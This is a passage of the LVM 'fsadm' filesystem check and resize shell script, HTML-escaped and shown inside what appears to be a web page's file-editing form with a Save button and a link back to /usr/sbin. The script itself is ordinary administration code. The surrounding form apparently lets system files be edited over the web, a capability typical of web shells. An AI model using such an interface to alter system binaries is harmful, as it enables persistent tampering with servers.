		which &quot;$CRYPTSETUP&quot; &gt;&quot;$NULL&quot; 2&gt;&amp;1 || error &quot;$CRYPTSETUP utility required to resize LUKS volume&quot;
		CMD=resize_luks ;;
	  *) error &quot;Filesystem \&quot;$FSTYPE\&quot; on device \&quot;$VOLUME\&quot; is not supported by this tool.&quot; ;;
	esac

	$CMD $NEWSIZE || error &quot;$FSTYPE resize failed.&quot;
	test -z &quot;${CRYPT_SHRINK-}&quot; || resize_crypt &quot;$VOLUME_ORIG&quot;
}

####################################
# Calculate diff between two dates
#  LC_ALL=C input is expected the
#  only one supported
####################################
diff_dates() {
         echo $(( $(&quot;$DATE&quot; -u -d&quot;$1&quot; +%s 2&gt;&quot;$NULL&quot;) - $(&quot;$DATE&quot; -u -d&quot;$2&quot; +%s 2&gt;&quot;$NULL&quot;) ))
}

check_luks() {
	detect_luks_device

	check &quot;$DM_DEV_DIR/mapper/$CRYPT_NAME&quot;
}

###################
# Check filesystem
###################
check() {
	detect_fs &quot;$1&quot;
	if detect_mounted ; then
		verbose &quot;Skipping filesystem check for device \&quot;$VOLUME\&quot; as the filesystem is mounted on $MOUNTED&quot;;
		cleanup 3
	fi

	case &quot;$FSTYPE&quot; in
	  ext[234])
		IFS_CHECK=$IFS
		IFS=$NL
		for i in $(LC_ALL=C &quot;$TUNE_EXT&quot; -l &quot;$VOLUME&quot;); do
			case &quot;$i&quot; in
			  &quot;Last mount&quot;*) LASTMOUNT=${i##*: } ;;
			  &quot;Last checked&quot;*) LASTCHECKED=${i##*: } ;;
			esac
		done
		case &quot;$LASTMOUNT&quot; in
		  *&quot;n/a&quot;) ;; # nothing to do - system was not mounted yet
		  *)
			LASTDIFF=$(diff_dates &quot;$LASTMOUNT&quot; &quot;$LASTCHECKED&quot;)
			if test &quot;$LASTDIFF&quot; -gt 0 ; then
				verbose &quot;Filesystem has not been checked after the last mount, using fsck -f&quot;
				FORCE=&quot;-f&quot;
			fi
			;;
		esac
		IFS=$IFS_CHECK
	esac

	case &quot;$FSTYPE&quot; in
	  &quot;xfs&quot;) if which &quot;$XFS_CHECK&quot; &gt;&quot;$NULL&quot; 2&gt;&amp;1 ; then
			dry &quot;$XFS_CHECK&quot; &quot;$VOLUME&quot; || error &quot;Xfs check failed.&quot;
		 else
			# Replacement for outdated xfs_check
			# FIXME: for small devices we need to force_geometry,
			# since we run in &#039;-n&#039; mode, it shouldn&#039;t be problem.
			# Think about better way....
			dry &quot;$XFS_REPAIR&quot; -n -o force_geometry &quot;$VOLUME&quot; || error &quot;Xfs repair failed.&quot;
		 fi ;;
	  ext[234]|&quot;reiserfs&quot;)
	        # check if executed from interactive shell environment
		case &quot;$-&quot; in
		  *i*) FLAG=$YES ;;
		  *)   FLAG=&quot;-p&quot; ;;
		esac
		accept_0_1 dry &quot;$FSCK&quot; $FORCE $FLAG &quot;$VOLUME&quot; || error &quot;Fsck $FSTYPE failed.&quot;
		;;
	  &quot;crypto_LUKS&quot;)
		which &quot;$CRYPTSETUP&quot; &gt;&quot;$NULL&quot; 2&gt;&amp;1 || error &quot;$CRYPTSETUP utility required.&quot;
		check_luks || error &quot;Crypto luks check failed.&quot;
		;;
	  *)
		error &quot;Filesystem \&quot;$FSTYPE\&quot; on device \&quot;$VOLUME\&quot; is not supported by this tool.&quot; ;;
	esac
}

#############################
# start point of this script
# - parsing parameters
#############################
trap &quot;cleanup 2&quot; 2

# test if we are not invoked recursively
test -n &quot;${FSADM_RUNNING-}&quot; &amp;&amp; exit 0

# test some prerequisites
for i in &quot;$TUNE_EXT&quot; &quot;$RESIZE_EXT&quot; &quot;$TUNE_REISER&quot; &quot;$RESIZE_REISER&quot; \
	&quot;$TUNE_XFS&quot; &quot;$RESIZE_XFS&quot; &quot;$MOUNT&quot; &quot;$UMOUNT&quot; &quot;$MKDIR&quot; \
	&quot;$RMDIR&quot; &quot;$BLOCKDEV&quot; &quot;$BLKID&quot; &quot;$GREP&quot; &quot;$READLINK&quot; \
	&quot;$DATE&quot; &quot;$FSCK&quot; &quot;$XFS_CHECK&quot; &quot;$XFS_REPAIR&quot; &quot;$LVM&quot; ; do
	test -n &quot;$i&quot; || error &quot;Required command definitions in the script are missing!&quot;
done

&quot;$LVM&quot; version &gt;&quot;$NULL&quot; 2&gt;&amp;1 || error &quot;Could not run lvm binary \&quot;$LVM\&quot;.&quot;
&quot;$READLINK&quot; -e / &gt;&quot;$NULL&quot; 2&gt;&amp;1 || READLINK_E=&quot;-f&quot;
TEST64BIT=$(( 1000 * 1000000000000 ))
test &quot;$TEST64BIT&quot; -eq 1000000000000000 || error &quot;Shell does not handle 64bit arithmetic.&quot;
echo Y | &quot;$GREP&quot; Y &gt;&quot;$NULL&quot; || error &quot;Grep does not work properly.&quot;
test &quot;$(&quot;$DATE&quot; -u -d&quot;Jan 01 00:00:01 1970&quot; +%s)&quot; -eq 1 || error &quot;Date translation does not work.&quot;


if [ &quot;$#&quot; -eq 0 ] ; then
	tool_usage
fi

CHECK=&quot;&quot;
RESIZE=&quot;&quot;
NEWSIZE=&quot;&quot;

while [ &quot;$#&quot; -ne 0 ]
do
	 case &quot;$1&quot; in
	  &quot;&quot;) ;;
	  &quot;-h&quot;|&quot;--help&quot;) tool_usage ;;
	  &quot;-v&quot;|&quot;--verbose&quot;) VERB=&quot;-v&quot; ;;
	  &quot;-n&quot;|&quot;--dry-run&quot;) DRY=1 ;;
	  &quot;-f&quot;|&quot;--force&quot;) FORCE=&quot;-f&quot; ;;
	  &quot;-e&quot;|&quot;--ext-offline&quot;) EXTOFF=1 ;;
	  &quot;-y&quot;|&quot;--yes&quot;) YES=&quot;-y&quot; ;;
	  &quot;-l&quot;|&quot;--lvresize&quot;) DO_LVRESIZE=1 ;;
	  &quot;-c&quot;|&quot;--cryptresize&quot;) DO_CRYPTRESIZE=1 ;;
	  &quot;check&quot;) test -z &quot;${2-}&quot; &amp;&amp; error &quot;Missing &lt;device&gt;. (see: $TOOL --help)&quot;
		   CHECK=$2 ; shift ;;
	  &quot;resize&quot;) test -z &quot;${2-}&quot; &amp;&amp; error &quot;Missing &lt;device&gt;. (see: $TOOL --help)&quot;
		    RESIZE=$2 ; shift
		    if test -n &quot;${2-}&quot; ; then NEWSIZE=&quot;${2-}&quot; ; shift ; fi ;;
	  *) error &quot;Wrong argument \&quot;$1\&quot;. (see: $TOOL --help)&quot;
	esac
	shift
done

test &quot;$YES&quot; = &quot;-y&quot; || YES=&quot;&quot;
test &quot;$EXTOFF&quot; -eq 1 || EXTOFF=0

if [ -n &quot;$CHECK&quot; ]; then
	check &quot;$CHECK&quot;
elif [ -n &quot;$RESIZE&quot; ]; then
	export FSADM_RUNNING=&quot;fsadm&quot;
	resize &quot;$RESIZE&quot; &quot;$NEWSIZE&quot;
	cleanup 0
else
	error &quot;Missing command. (see: $TOOL --help)&quot;
fi
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fsbin'>🔙 Back</a></p>